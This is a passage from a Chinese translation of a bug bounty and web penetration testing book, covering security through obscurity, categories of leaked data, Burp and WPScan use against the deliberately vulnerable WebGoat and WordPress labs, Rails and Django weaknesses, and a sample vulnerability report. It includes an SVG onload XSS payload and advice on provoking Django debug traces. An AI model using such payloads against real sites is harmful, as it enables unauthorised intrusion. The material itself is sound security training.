如何使用 Burp 测试 XXE 漏洞？
XXE 漏洞有哪些影响？涉及该漏洞的一些常见攻击场景是什么？
什么是 /dev/random？
你可以通过什么方式测试 XXE 漏洞的存在，而不会造成影响？
什么是亿万笑话攻击？
当某些服务（特别是 API 端点）使用 JSON 进行数据交换时，如何可能受到 XXE 攻击？

进一步阅读

你可以在以下链接中找到我们在本章中讨论的一些主题的更多信息：

亿万笑话攻击: en.wikipedia.org/wiki/Billion_laughs_attack
XXE 狩猎乐趣与利润: www.bugcrowd.com/advice-from-a-bug-hunter-xxe/

第八章：访问控制与通过模糊安全性

通过（或借助）模糊性来实现安全性，是一种在 Web 应用程序开发中假设黑客无法破解他们看不见的东西的策略；即使存在漏洞，只要它被恰当地隐藏或模糊化，它就永远不会被发现并用于恶意目的。

尽管这种想法似乎有道理（怎么可能有人找到我巧妙隐藏的东西——我已经巧妙地隐藏了它），但它忽略了计算机和编程的基本理解。计算机在大海捞针方面非常擅长。而且，寻找你网站漏洞的不仅仅是一个人在一台机器上编写脚本；任何暴露在互联网上的网站都会面临一个24/7/365的群体协作攻击，试图破坏其网络。当你认为没有人能发现你隐藏的漏洞时，实际上你是在假设，针对你的大量人群（无论是直接还是间接的），在你网站的生命周期中，凭借整个互联网的资源，没有人能成功。这是一个危险的赌注。

在本章节中，我们将演示如何使用各种工具查找隐藏内容，并讨论什么值得获得奖励，什么不值得：每个角落都充斥着大量数据，了解程序如何评估这些数据非常重要。我们还将讨论安全思维方式的不足之处，这些不足会使数据泄露成为许多网站的严重漏洞。当然，我们还将以数据泄露为例，展示整个漏洞悬赏过程的生命周期，从发现到验证再到提交。

技术要求

在本章节中，我们将使用 Burp Suite 及其隐藏内容功能，以及 Chrome（66.0.3359.139）。我们还将使用 WebGoat，这是一个由 OWASP 创建的有意脆弱的应用程序，你可以下载并进行实践。

请将代码库克隆或下载到你的本地系统中（github.com/WebGoat/WebGoat）。

有几种方式可以设置 WebGoat。你可以将其下载并作为jar可执行文件运行（就像我们使用 Burp Suite 时那样），也可以下载 Docker 镜像，或者直接从源代码构建它。尽管使用jvm管理 Java 依赖项对 Burp 有效，但我更喜欢在有 Docker 的情况下使用它，因为围绕 Docker 有许多优秀的工具。

有一个问题：如果你正在运行 Burp Suite 代理并使用默认的代理端口（localhost:8080），你需要确保在不同的端口上启动 WebGoat 服务器，以避免与 Burp 产生流量冲突。以下是 GitHub 页面参考的命令，用于拉取并启动服务器：

docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh

在我们的案例中，因为我们希望它运行在localhost:8081而不是localhost:8080，我们只需将第二个命令更改为将 Docker 进程映射到正确的端口：

docker run -p 8081:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh

现在我们可以一起使用 Burp 和 WebGoat，而不会发生端口冲突。

通过模糊性来实现安全性——美丽的诱惑

安全性通过模糊化的吸引力——以及陷阱——在于其实施策略的简便性，尤其是与更严格的凭证管理系统相比。模糊化一条敏感信息只是意味着将其打乱、重新排列和排序，直到它看起来像胡言乱语。“看起来像”是关键，因为模式可以在超出人类直觉或估计范围之外被检测到。

这种策略背后的假设通常包含一个人类易犯错误的元素——某人无法找到X，或者跨越Y，因为考虑到应用的范围、漏洞的最小性质以及假定的暴力破解问题的工作量，成功的概率极低。但当然，计算机并不受这些限制的约束，而且实际的站点访问者比预想的要多。而当大量用户，以及爬虫、模糊测试工具和各种网络代理，针对某个目标训练它们的工具时，它们可以发现缺陷，使该站点（及其他站点）更加安全。

这里有一个重要的警告，即虽然单独或作为网络的主要安全层，安全性通过模糊化并不成立；它作为众多防御手段之一是有效的。巧妙地运用这一策略可以帮助提高攻击成本，迫使不那么坚定的对手退却，至少可以防止机会主义的利用。

数据泄露——哪些信息重要？

有几类数据具有即时和明显的价值。几乎任何开发人员都应该清楚，这些数据应该在任何威胁建模过程中被视为更高价值的信息。

API 密钥

API 密钥通常用于为 API、服务或其他组织类型的对象提供项目级授权。API 可能是暴露的重要信息，因为它们的权限范围广泛，且 API 密钥的权限通常也较大。API 密钥的一个现成示例可能是 SaaS 应用的 API 密钥，例如 Twilio。Twilio API 密钥不会根据用户角色区分访问权限；它只是让持有者能够向关联的 Twilio 账户发出 API 调用。

访问令牌

令牌与 API 密钥不同。访问令牌通常用于验证个人（例如，session 令牌和一般的所有 cookies），而不是整个服务或项目。访问令牌仍然可能是敏感数据，这取决于令牌认证的范围。

API 密钥通常不应该公开（除非它是多密钥系统的公开部分），但你的浏览器每天与访问的网站交换会话认证令牌。

这些区分并非铁定不变——它们仅描述了一种可以自由打破的约定——但它们为理解不同类型的身份验证数据之间的一些区别提供了一个很好的起点。

一个常见的流行访问令牌示例是 AWS 身份与访问管理 (IAM) 访问令牌，它为调节 IAM 角色对由更大的组织账户拥有的不同 Amazon 资源的访问提供了基础。

密码

这是一项显而易见的任务。如果团队/角色密码和个人密码以明文（或加密不足）形式存储并暴露，显然是危险的漏洞点，黑客可以利用这些漏洞渗透到更高权限的系统。用户名/密码凭证模式是大多数消费者定期使用的服务的基础，从社交媒体账户到银行账户。

主机名

这可能是一个有些模糊的领域。通常情况下，如果一个主机名暴露在公开可用的日志中或 API 中，并且它本应是内部的，那么它将被限制在 VPN 或特权网络中。然而，如果没有 VPN 或防火墙保护，即使是一个机器的 IP 或主机名也可能成为一个可被利用的风险点。

机器 RSA/加密密钥

不像 API 密钥那样描述服务、项目和角色的权限，机器 RSA 密钥或类似的密钥代表了单个机器的加密身份（无论是笔记本电脑、服务器等）。即便是对较小服务（例如较小或暂存环境中的持续部署构建服务器）暴露的 RSA 密钥，也可能为攻击者提供必要的立足点，将恶意元素注入到你网络的其他部分。如果你使用的是 macOS 机器，通常会将与你的机器相关的 SSH 密钥存储在隐藏的 .ssh 文件夹中。典型的命名约定是 id_rsa 作为私钥，id_rsa.pub 作为公钥。

账户和应用数据

迄今为止我们描述的信息都存在于网络层级，除了与应用行为相关的访问令牌（例如会话 cookies）。但账户内部的数据——账户设置、账单信息、应用配置等——都是任何攻击者都非常感兴趣的目标。

低价值数据——什么不重要

任何包含关于漏洞悬赏的讨论，都应该涵盖 web 应用每天常常无问题地泄露的重要数据。

一般性描述的错误信息

尽管错误信息可能是敏感信息的有效来源，但这只有在消息中确实包含敏感数据的情况下才成立。仅仅是包含函数名称、异常类型和其他常见调试信息的堆栈跟踪并不是一个漏洞。这里的关键区分点是：你能想象一个利用这些信息的攻击场景吗？

404 和其他非 200 错误代码

404 错误和其他更复杂的错误代码是应用程序正常运行的一部分。如果敏感信息暴露在错误信息中，那是一个问题，但其他情况下，代码是可以预期的。

用户名枚举

精明的网站会在注册和登录页面中显示错误信息，但不会指明用户名是否存在：无效的凭据足够模糊，不清楚是用户名错误还是密码错误，而“用户名已存在”的信息则立刻告诉攻击者该账户已经有有效的目标用户。

如果结合一个模糊不同可能的用户名（基于类似字典攻击的东西）的脚本，一个决心坚定的攻击者可以创建一个网站所有用户的列表。尽管如此，由于这种方法消耗资源大、常见，并且并没有直接导致像远程代码执行那样严重的漏洞，用户名枚举通常不值得大多数公司支付漏洞悬赏。

浏览器自动填充或保存密码功能

启用浏览器的表单自动填充或保存密码功能通常是不推荐的，因为攻击者一旦获取了对你的浏览器的访问权限，就可以回溯利用存储的凭据。由于它已经依赖于另一个漏洞，允许攻击者首先访问你的浏览器，因此这个漏洞通常不值得支付悬赏。

数据泄露途径

到目前为止，我们列出了不同类型的信息，但并没有说明这些信息可能出现在什么地方。以下是一些网站或应用程序可能无意中暴露敏感信息的地方。

配置文件

配置管理是一个独立的操作分支，确保配置凭据永远不会暴露。无论你是通过像 consul 这样的服务在运行时注入它们（有关链接，请参见进一步阅读），还是仅仅通过将它们包含在项目的 .gitignore 中以避免版本控制，它们的解决方案在复杂性上各有不同。

但有时这些措施会失败，导致配置文件被包含在服务器的根目录中、暴露的构建服务器的日志中、应用程序的错误信息中，或者公共代码仓库中。这可能会使该配置文件中的敏感内容暴露给任何攻击者。

之前，我们讨论了在应用模糊测试工具（如 wfuzz）的背景下发现敏感配置文件，这些工具利用字典列表尝试访问那些错误地暴露在网络服务器上的文件。在第三章，为参与做好准备，我们使用了 SecLists 仓库中的精选渗透测试资源作为字典列表 (github.com/danielmiessler/SecLists)，但还有其他几个优秀的敏感文件名字典选项。有关更多信息，请查看第十一章，其他工具。

公共代码库

随着越来越多的开发人员使用像 GitHub 这样的开源网站来建立网络并共享代码，错误地将平面文件凭证和基于文本的机密信息包含在仓库的提交历史中变得非常容易。这里需要特别注意的是，如果你错误地将敏感数据提交到项目的 Git 历史中，第一件事应该做的是更换那些凭证。

不要尝试提交一个删除这些信息的 commit（请记住，它仍然可以在以前的 commit 中找到）；首先刷新那些 API 密钥或密码，然后再考虑以后从仓库中删除这些信息。

将敏感凭证提交到公共 GitHub/Bitbucket 仓库已经变得非常普遍，以至于像 非常昂贵的 AWS 错误 这样的博客已经成为了一个独特的内容领域（medium.com/@morgannegagne/a-very-expensive-aws-mistake-56a3334ed9ad）。在这篇特定的博客文章中，一位正在参加 Flatiron 开发训练营的开发人员将她的 AWS IAM 凭证提交到了 GitHub，直到她开始超过免费的使用额度时才发现自己的错误，最终看到她在凭证暴露的短短时间内已经产生了超过 3,000 美元的账单。

这一做法甚至催生了各种 SaaS 商业公司，旨在扫描你的公开源代码，并在你不小心将任何敏感信息包含其中时通知你。像 GitGuardian（www.gitguardian.com/tweet）和 GitMonkey（gitmonkey.io/）这样的公司就是为了提供安全通知服务，如果一个疲惫或初级的开发人员不小心提交了凭证版本历史时，能为你提供安全保障。

客户端源代码

客户端源代码——即在浏览器中执行的静态 JavaScript、HTML 和 CSS——不同于由整个 Git 项目表示的完整源代码仓库。你不太可能找到包含应用程序级机密的配置文件，并且暴露的业务逻辑的范围可能是最小的（即使是完全基于 JavaScript 的 Angular 或 React 应用，也通常将大部分逻辑放在连接的 API 中），但仍然有可能窃取弱密码、futz 客户端验证，或者查找在注释掉的代码中的旧设置、资源和功能。

隐藏字段

隐藏字段技术上是客户端代码的一部分，但由于它们是恶意数据输入的主要传播途径，因此需要额外的关注。如果你正在操作隐藏字段，务必避免为蜜罐字段提交值。蜜罐字段是隐藏的 input 标签，因为正常的图形用户界面（GUI）用户看不见它们，所以通常不会被提交——除非这个表单被脚本模糊测试，脚本会将值注入到它可以找到的每个 input 字段中。

错误信息

就像我们在第五章中讨论的，SQL、代码注入和扫描器，我们讨论了基于错误的 SQL 注入攻击，以及如何通过 SQL 数据库传播上来的公共错误信息，决心坚定的攻击者往往可以利用这些信息枚举数据，错误信息在其他上下文中也能泄露数据。在应用错误日志、GUI 错误信息、API 错误和其他错误渠道中，从机器级 RSA 密钥到用户信息，任何东西都有可能被暴露。

揭开隐藏内容 – 如何拉开帷幕

探索混淆、忽视或以其他方式暴露的数据是一个关键的练习，既是站点初步侦察的一部分，也是一个独立的目标。

我们将介绍几种不同的方法，其中一些是被动的，另一些则更为主动，这些方法可以帮助你发现敏感信息，并获得赏金奖励。

初步代码分析

这是一个简单的步骤，但浏览页面的源代码并了解代码风格和质量、框架、任何额外的连接服务，以及对驱动应用的代码库的总体感觉是非常重要的，这可以导致一些令人惊讶的发现。

使用 Burp 揭示隐藏字段

使用 Burp 揭示隐藏输入字段有两种方法：一种是简单的，另一种是极其简单的。

第一种方式是检查表单生成的任何 HTTP 流量，确保你捕捉到任何在 GUI 中不可见的信息。

另一种（更简单）方式是在 Proxy 选项卡中的 Options 面板中进行简单的配置设置：

现在，当你通过代理链接的浏览器浏览应用时，页面上任何隐藏的字段都会在一个鲜红色的 div 中高亮显示：

通过高亮显示你遇到的任何字段，Burp 允许你在绘制目标应用攻击面时同时捕捉到秘密信息。

数据泄露 – 从头到尾的示例

让我们在 WebGoat 上尝试一些新技巧，WebGoat 是 OWASP 的故意漏洞化的 Java 应用。导航到 localhost:8081/WebGoat 后，点击链接注册一个新用户并登录。

登录后，你应该看到 WebGoat 的主欢迎页面：

现在我们将点击进入客户端教程：

打开页面后，我们可以立即看到几个隐藏的感兴趣字段。我们也能大致了解这节课的内容——我们是一个不满的员工，想获取我们 CEO 的个人信息，尽管我们（自然地）没有权限访问这些信息——而我们想要颠覆的是：一个小型的员工目录应用。

查看隐藏字段时，它们似乎与与员工信息记录相关联的员工 ID 相关。如果我们使用开发工具来检查标记，我们可以看到选择我们想要信息的员工的select标签，以及相关的 ID：

现在如果我们可以深入研究那个onchange回调函数——等等，在我们面板的右下角那是什么？

显然，这是一个极端的例子——用一个超级污名化的字符串来命名一个类——但是由于用于隐藏数据的机制依赖于 GUI 或没有人篡改它，所以暴露敏感客户端数据不幸地是一个现实问题：

现在，深入研究这个类，我们可以看到标记确实包含 CEO 和其他人的信息。我们现在知道 CEO 的薪水（高达$450,000），在企业间谍活动中有了一点进展。

收集报告信息

现在我们已经让公司陷入困境，让我们来详细说明我们写报告所需的信息：

类别: 这是敏感信息泄露事件。在这种情况下，是 CEO 的薪水和社会安全号码。
时间戳: 对于我们的时间戳，我们可以手动近似一个时间。
网址: 对于我们的网址，我们可以使用在源代码中发现信息的页面：

http://localhost:8081/WebGoat/start.mvc#lesson/ClientSideFiltering.lesson/1

方法: 跳过有效载荷，我们可以直接进入方法。在这种情况下，我们仅仅是在仔细检查页面源代码后发现了这些信息。
复现指令: 相当简单。导航到受影响的页面并查看其源代码。
攻击场景: 对于我们的攻击场景，证明数据在错误手中的危险性非常重要。在这种情况下，很明显。泄露敏感财务信息和社会安全号码使 CEO 明显面临网络攻击和身份盗窃的风险。

最终报告

让我们利用这些信息来格式化我们的提交：

类别: 敏感员工数据泄露。
时间: 2017-03-25 17:27 (17:27) UTC.
网址: http://localhost:8081/WebGoat/start.mvc#lesson/ClientSideFiltering.lesson/1
方法: 在检查受影响页面的源代码后检测到的漏洞。
操作指示:
1. 导航到受影响的网址
2. 检查页面的源代码
攻击场景: 有了 CEO 和其他特权员工的个人信息访问权，攻击者可以窃取这些个人身份，通过鱼叉式钓鱼攻击来入侵公司资源，并且通常会破坏公司及其员工的财务健康。

摘要

在本章中，你已了解了作为一种哲学理念，模糊安全（Security by Obscurity）的缺陷（有时也有其有效性），如何使用 Burp 和其他工具揭示网站的隐藏内容，如何区分不同类型的敏感信息，哪些信息不值得获得奖励的粗略指南，以及如何将数据泄露漏洞从发现到报告格式化和提交。你现在应该已经准备好将至少基本的隐藏内容发现方法融入到你的渗透测试工作中。

问题

模糊安全是否是一个有效的安全层？
一些常见的漏洞报告信息是什么？
哪个工具适合用来揭示隐藏内容？
API 密钥与访问令牌之间有什么区别？
通常哪些信息不值得作为数据泄露漏洞获得奖励？
依赖客户端数据过滤有什么缺点？
Web 应用程序中数据泄露的常见途径有哪些？

深入阅读

你可以在以下链接中了解更多我们在本章讨论的某些话题：

Google Cloud 端点：API 密钥与认证令牌的比较：cloud.google.com/endpoints/docs/openapi/when-why-api-key
Consul 配置管理：www.consul.io/

第九章：框架和应用程序特定的漏洞

识别框架或应用程序特定的漏洞，包括已知组件漏洞（通过 CVE 标识符来识别，我们稍后会讨论）是非常棘手的。

这也是所有漏洞悬赏计划的普遍规定，即公司不会对相同的漏洞进行两次奖励——第一个披露漏洞的研究员才会获得奖励。这与公司通常不会奖励在原始零日漏洞发现后两周内已经公开披露的漏洞是密切相关的（就像所有公司一样，他们需要时间来部署补丁），而且他们对第三方库中的供应商级漏洞不感兴趣。这看起来可能是浪费时间，除非我们考虑到两个重要的因素。

采用的成本很低。由于已知的组件漏洞是显而易见的，因此构建一个工具来可靠地发现这些漏洞要比处理架构或应用程序逻辑中的不太明确的弱点更容易，后者需要手动通过用户界面逐步检查。正如我们在第三章《准备参与》中举的例子一样，我们为检测和报告客户端漏洞（如不安全的 jQuery 库）编写了一些简单的脚本，这是一项轻量级的工作，可以融入到任何有权限访问客户端源代码的环境中。

了解安全态势非常重要。安全态势这个术语是应用程序或网络防止、检测和响应攻击的总体能力的简称。如果你打开诊断工具，立刻发现框架、语言版本或供应商服务中存在多个关键报告漏洞，那就能告诉你很多关于该公司安全实践的信息。如果有这么多容易解决的问题，那么他们的漏洞悬赏计划还年轻吗？他们是否有成熟的安全生命周期管理政策？如果从已发现的漏洞中能找到攻击场景的路径——太好了！——即使不是这种情况，这些信息也是有价值的，因为它们可能暗示着潜在的威胁。

关键在于攻击场景。这是最本质的一点：面对有效的攻击场景时，大多数 KCV 指南都要被抛到一边。公司不愿仅仅为了改善 jQuery 攻击面而贡献一个补丁——那会花费大量时间来验证、沟通和修复最终属于其他组织的漏洞。但是，如果你能说服他们这个漏洞影响到他们的业务，就可能引发改变（贡献补丁、更新组件、切换到另一种解决方案）并触发奖励。

本章将解释如何：

将已知组件漏洞扫描集成到你的基于 Burp 的工作流中
使用工具查找像 WordPress、Django 和 Ruby on Rails 这样的软件中的应用程序特定问题
从发现、验证到提交一个组件特定的漏洞

技术要求

在这一节中，我们将与 Burp 及其一些扩展合作，自动设置 KCV 检测。我们还将依赖我们常用的浏览器设置作为 Burp 代理。我们还将使用 WPScan，既作为 CLI 工具，也作为 Burp 扩展。

WPScan CLI 提供了多种安装选项。我们将再次使用容器软件 Docker，从自定义执行上下文中下载并运行wpscan CLI，这个上下文打包了所需的一切。Docker 使我们可以将此工作流移植到任何可以安装 Docker 的地方，这意味着我们不需要担心操作系统特定的行为。而且，因为 Docker 会缓存 WPScan CLI 镜像，所以我们可以使用它，性能损失仅比本地安装略大。

假设已经安装了 Docker，若要拉取最新的 WPScan CLI 镜像，只需运行以下简单命令：

docker pull wpscanteam/wpscan

然后，你拥有所有必要的依赖项，可以使用docker run命令启动wpscan CLI。这里有一个直接来自 Docker Hub 镜像文档的示例单行命令：

docker run -it --rm wpscanteam/wpscan -u https://yourblog.com [options]

为了测试目的，WPScan 背后的同一个团队还提供了一个故意包含漏洞的 WordPress 安装，它同样运行在 Docker 容器中。要在本地构建该镜像，首先克隆 GitHub 仓库（github.com/wpscanteam/VulnerableWordPress），然后进入其根目录。接着，运行以下命令：

docker build --rm -t wpscan/vulnerablewordpress .
docker run --name vulnerablewordpress -d -p 80:80 -p 3306:3306 wpscan/vulnerablewordpress

现在，你应该有一个准备好在localhost:80进行设置的 WordPress 安装：

已知组件漏洞和 CVE - 简要回顾

公共漏洞和暴露（CVE）系统自我描述为一本字典，提供已公开披露的漏洞和披露的定义。它的目标是让跨团体和技术共享网络安全相关数据变得更加容易，理解开放协调的好处大于公开广告有效攻击的风险。值得记住的是，CVE 是一种将漏洞数据库连接起来的方法，而不是一个漏洞数据库本身。也就是说，你通常会发现 CVE ID 与集成到检测已知漏洞的工具中的 CVE 信息页面有链接。CVE 条目甚至已集成到美国国家漏洞数据库中。

CVE ID 的结构直接明了：该标识符由年份加上四位数（或更多）整数组成。直到 2015 年初，CVE 标识符只能有最多四位数的唯一整数，但由于这限制了每年可分配的 ID 总数为 9,999 个，因此必须扩展，现在可以是任意长度。

除了其 ID 外，每个 CVE 通常还附带某些信息：

指示 CVE 是否具有条目或候选状态
漏洞或曝光的简要描述
任何适当的参考资料（例如，来自 OVAL-ID 的漏洞报告、警报）

OVAL-ID 是区分 OVAL 定义的唯一标识符。来自 OVAL 网站：

OVAL 定义是用开放性漏洞和评估语言（OVAL®）编写的标准化、机器可读的测试，用于检查计算机系统中软件漏洞、配置问题、程序和补丁的存在。

OVAL 定义测试，如 CVE，旨在协调一个开放、透明的系统，用于标准化渗透测试词汇，并允许更多的共享，以及道德黑客和他们的工具之间的更多共享。

这个快速介绍/复习应该在下次使用任何利用 CVE 作为主要安全参考的工具时派上用场。

WordPress – 使用 WPScan

根据 WordPress 的说法，他们的框架支持所有网站的 31%。这个面向一切的开源 CMS 是一个巨头，为业余爱好者和商业网站提供基本引擎，从你叔叔的博客到白宫的登陆页面。因此，它是一个极具吸引力的目标，供渗透测试人员和黑客随处可见。WordPress，带有其众多插件和配置选项，提供了一个庞大的攻击面，通常由技术经验有限的管理员管理，可能难以保护。每个编写不良的插件、WP 核心的猴子补丁或古老的安装都可能成为攻击者入侵或破坏 WP 站点所需的立足点。

WPScan 功能打包在几种不同的工具中。对于我们的目的，最重要的是容器化的 Docker 命令行界面和 Burp 扩展。

将 WPScan 作为 Docker 化的 CLI

将 WPScan 作为 Docker 化的 CLI 使用的优势在于，我们仍然可以充分利用 CLI——允许我们将脚本嵌入到更大的自动化设置中——而不必担心依赖管理问题，比如保持我们的 Ruby 版本最新。我们甚至可以编写一个简单的包装器，围绕docker run命令，这样每次使用脚本时就不需要输入太多样板内容。

例如，如果我们创建一个名为wpscan.sh的 shell 脚本，并调用我们的 Docker 命令，传递"$@"字符，以便将所有标志和命令行参数通过 shell 脚本传递给docker命令，我们得到的结果如下：

#!/bin/sh

docker run -it --rm wpscanteam/wpscan "$@"

然后，我们可以使用chmod使我们的包装器脚本可执行，并将其symlink到我们的/usr/local/bin，这样我们就可以在我们的$PATH中访问它：

chmod u+x /Full/path/to/wpscan.sh
sudo ln -s /Full/path/to/wpscan.sh /usr/local/bin/wpscan

完成。现在，我们可以通过我们的wpscan包装器调用 CLI 脚本，使用与安装 WPScan 作为 gem 时相同的语法，但不需要跟踪安装 gem 的 Ruby 版本，也不需要确保安装了ffi或其他依赖库：

wpscan --help

通过传递--help标志来检查我们的选项，以下是我们看到的内容：

现在，为了测试这个功能，让我们启动我们的脆弱 WordPress 实例。如果你按照了我们技术要求部分的说明，你应该已经有一个准备好在localhost:80上设置的 WP 实例了。选择你希望使用的语言后，你应该会看到一个用于填写基本站点信息的表单（站点标题、管理员超级用户名、通知邮件等）：

填写完毕后，你将被重定向到一个成功页面：

第一次登录后，导航到普通的localhost:80，查看你 WP 站点的实际主页：

请记住，你不能从wpscan中 ping localhost:80，因为它是从 Docker 容器内执行的。为了将我们的 Docker 化 WordPress 实例提供给 Docker 化的 WPScanning 服务，我们需要使用运行 WordPress 的 Docker 容器的 URL。

我们可以通过使用docker ps来查找运行 WordPress 的 Docker 进程的容器 ID，然后运行docker inspect <CONTAINER_ID>返回包含 IP 地址的 JSON 信息。对于我们来说，这个 IP 地址是172.17.0.2。接着，我们运行此命令扫描我们脆弱的 WordPress 站点。如果我们针对的是一个公共互联网站点，我们可以跳过这一步：

wpscan --url 172.17.0.2:80

运行上述命令后，这就是我们扫描的输出结果：

你可以立刻看到一些值得跟进的发现——robots.txt 中的有趣条目：http://172.17.0.2/super-secret-admin-page/看起来特别有意思，考虑到那个诱人的 URI。但如果我们继续查看漏洞列表，我们将能看到几个配置文件。我们寻找认证凭据、隐藏的目录和其他有用的东西，导航到一个暴露的配置文件，wp-config.txt：

我们找到了我们想要的东西！通过站点级别的管理员密钥和所有的盐哈希，我们已经发现了进入王国的加密密钥。

Burp 和 WPScan

使用 Burp 扩展方法应用 WPScan 的一个优势是，它使得将扫描器集成到更大的 Burp 工具集中的过程更加简便。例如，如果你依赖于手动标记页面为有效范围，那么你可以让 WPScan 利用这些信息，确保你在整个渗透测试过程中始终聚焦目标。

设置 WPScan 与 Burp 集成非常简单。你首先需要做的就是前往 BApp Store 下载扩展：

你也可以通过手动安装弹窗选择扩展文件（可以是 Java、Python 或 Ruby 语言）来手动加载扩展：

你可能发现需要为扩展安装相应的环境。设置每种语言都很简单：以 Python 为例，我们访问 Jython（一个在 Java 中实现的 Python 解释器）的主页并按照安装说明进行操作。然后，在扩展选项卡中的“选项”部分，我们可以添加 Jython jar 文件的路径：

现在，我们可以从 BApp Store 下载 WPScanner 扩展。只需点击安装按钮就能轻松完成：

安装完成后，我们应该能看到一个 WordPress 扫描器标签。如果点击它，我们将能够看到设置和输出面板，准备好进行分析：

WPScanner 扩展依赖于 Burp 在你使用代理浏览器浏览网站时进行的被动分析。在点击几个页面、查看我们的示例文章并打开我们脆弱的 WP 实例的评论提交字段后，我们可以看到问题列表已经被多个漏洞填充：

浏览问题列表时，我们可以看到每个类别的简短描述，并且有多个指向博客、GitHub 拉取请求和安全参考的链接，提供更多信息。我们还会看到漏洞路径、严重性以及对发现结果的信心等级。

浏览这个列表时，我们可以看到几种不同的 XSS 类型。进一步调查后，让我们尝试在评论提交字段中测试与 svg 标签相关的漏洞，探查网站内容清洗功能的另一部分——我们当然知道 WP 实例是脆弱的，但我们仍在进一步确认漏洞的定位和性质。以下是我们的代码片段：

<svg/onload=alert(document.location.origin)>

提交后，我们看到页面暂停了一会儿，然后最终加载完成。

我们的测试取得了成果。尽管在这种情况下我们知道只要深入挖掘一定能找到问题，但像 WPScan 这样的工具可以提供有价值的、特定于应用程序的背景信息和后续调查线索，而无需添加一个繁重的新工具或难以集成的测试系统。

Ruby on Rails – Rubysec 工具和技巧

有几种分析 Ruby 和 Ruby-on-Rails 应用程序的方法，其中一些是特定于 Rails 的，另一些可以更广泛地应用于类似的应用程序（例如，也符合 RESTful、MVC、CRUD 导向、主要在服务器端运行的应用程序等）。

利用 RESTful MVC 路由模式

由于 Rails 强烈倾向于将 RESTful MVC 模式应用于 CRUD 应用程序，URL 路由结构通常很容易直观地理解。理解 /resource/action 和 /resource/{identifier}/action 模式使攻击者能够通过简单的观察推断出像 /users/{identifier}/update 这样的潜在危险路径。

检查特定弱点的版本

作为一个应用框架，Rails 和所有流行软件一样，经过了多次安全更新，解决了诸如在 Active Record 中处理 SQL 注入，或者扩展 CSRF 保护方案以涵盖更多基本请求类型等关键问题。但由于构建 Rails 应用程序的门槛很低，而且语言和框架都非常适合提高生产力，Rails 应用程序往往能够快速搭建。而且由于 Rails 是一种常见的小型企业/原型开发解决方案，尽管经常被用于成熟的生产服务中，仍然存在大量的遗留 Rails 代码。这种快速搭建的架构与对长期使用的期望相结合，再加上 Rails 脚手架的即插即用特性（仅通过几个约定命令就可以创建完整的 CRUD 应用程序），意味着 Rails 特别容易受到由于配置错误或不安全默认设置所导致的漏洞的影响。

Rails 使得存储潜在的安全信息为 Cookie 变得非常简单，因此更容易通过编码但未加密的 Cookie 泄露潜在信息。

Django – Python 应用的策略

Django 作为一个常用的框架，用于快速构建 CRUD 风格的应用程序，并且已经在一种为开发者生产力设计的动态类型语言中成功实现，自然会遭遇与 Rails 相同的许多陷阱，并且存在许多相同的弱点。Django 对 RESTful、以 MVC 为中心的 URL 路由有很强的偏好，因此允许进行前面一节中讨论的相同的 URL 攻击。尽管如此，Django 默认提供了很多出色的全局保护，能够有效防御诸如 CSRF、XSS 和注入攻击等常见漏洞。

检查 DEBUG = True

这是一个常见的错误，尽管看起来是个“拍脑袋”的失误——在生产环境中留下 Django 开发者级别的日志记录。以启用 DEBUG 设置发布应用会导致一些问题，包括暴露敏感页面或数据的全面错误追踪信息。如果您怀疑目标 Django 应用已启用 DEBUG，可以尝试生成错误以触发有害的追踪信息显示。启用 DEBUG 设置是非常常见的，甚至在今年早些时候，一名研究人员进行调查，仅用一周时间就发现了 28,165 个启用了该设置的 Django 应用（www.bleepingcomputer.com/news/security/misconfigured-django-apps-are-exposing-secret-api-keys-database-passwords/）。如果看起来通过调试信息访问造成的危害似乎很有限，考虑到 2018 年，一名研究人员能够利用来自 Facebook 的不安全 Sentry 服务器的调试信息获得远程代码执行（RCE）。该漏洞的奖励是 5,000 美元——这是较低的金额，因为服务器是沙箱化的，无法访问用户数据（blog.scrt.ch/2018/08/24/remote-code-execution-on-a-facebook-server/）。

探测管理页面

Django 自带一个默认的管理页面，通常会被第三方插件或其他与管理员相关的扩展所取代。如果默认的管理页面被忽视，或者管理员集成不完整，它可能会提供一个有价值的攻击面供测试和探索。

总结

本章介绍了 CVE 漏洞识别系统的基础知识，如何围绕发现 WordPress、Ruby on Rails 或 Django 相关的漏洞构建工作流程，以及为何尽管存在各种警告，已知漏洞检测仍然值得纳入您的安全实践。通过本章，您应能更好地理解特定应用漏洞在安全生态系统中的作用，并有信心在适当的情况下将特定应用的测试流程集成到基于 Burp、脚本或其他任何工作流程策略中。

在下一章中，我们将介绍每个报告中应包含的关键信息、可选信息、包含详细重现步骤的重要性以及如何编写一个好的攻击场景。

问题

CVE 代表什么？它是什么？
什么使得 WordPress 成为黑客的一个有吸引力的目标？
使用 CLI 而不是 Burp 扩展来实现 WPScan 功能有哪些优势？反过来又如何？
找到 Ruby on Rails 特定漏洞的好方法有哪些？
使用 Docker 作为渗透测试工具有哪些优势？
OVAL 代表什么？什么是 OVAL 定义？
测试 Django 应用程序时，您应该留意哪些问题？

进一步阅读

您可以在以下链接中了解我们在本章中讨论的部分主题：

WordPress 官方网站: wordpress.org/
CVE 常见问题: cve.mitre.org/about/faqs.html.
OVAL 主页: oval.mitre.org/repository/about/overview.html.
WPScan 主页: wpscan.org/.
OWASP Ruby on Rails 备忘单: www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet.
官方 Rails 安全指南: guides.rubyonrails.org/security.html.

第十章：格式化你的报告

在本书中，我们根据每个漏洞深入探讨的内容格式化了样本报告。理想情况下，你应该已经从那些频繁出现在报告中的数据点中获得了哪些信息是重要的感觉，但在本章中，我们将更详细地讨论最重要的提交组成部分。我们将讨论什么可以增加获得奖励的机会，什么可以提升奖励的严重性（以及其支付金额），哪些信息是可选但有用的，哪些只是噪音。我们还将讨论你可以用来编写报告的原则，这些报告清晰、易于重现漏洞，并且包含详细、引人入胜的攻击场景，这些将使内部安全团队迫切要求修补漏洞（从而触发你的奖励）。

对一个优秀报告示例中个别内容、场景和格式有深入了解，可以帮助你塑造你的渗透测试实践。随着你不断学习、提高技能，成为更好的研究人员，你可以采用与最终目标一致的新工具、策略和方法，创造出那种完美的报告，那个会立即在最高适当严重性级别获得奖励的报告。

本章将涵盖以下主题：

重现漏洞——如何审核你的提交
关键的资料——你的报告需要什么
最大化你的奖励——那些能带来回报的特性
示例提交报告——在哪里查找

技术要求

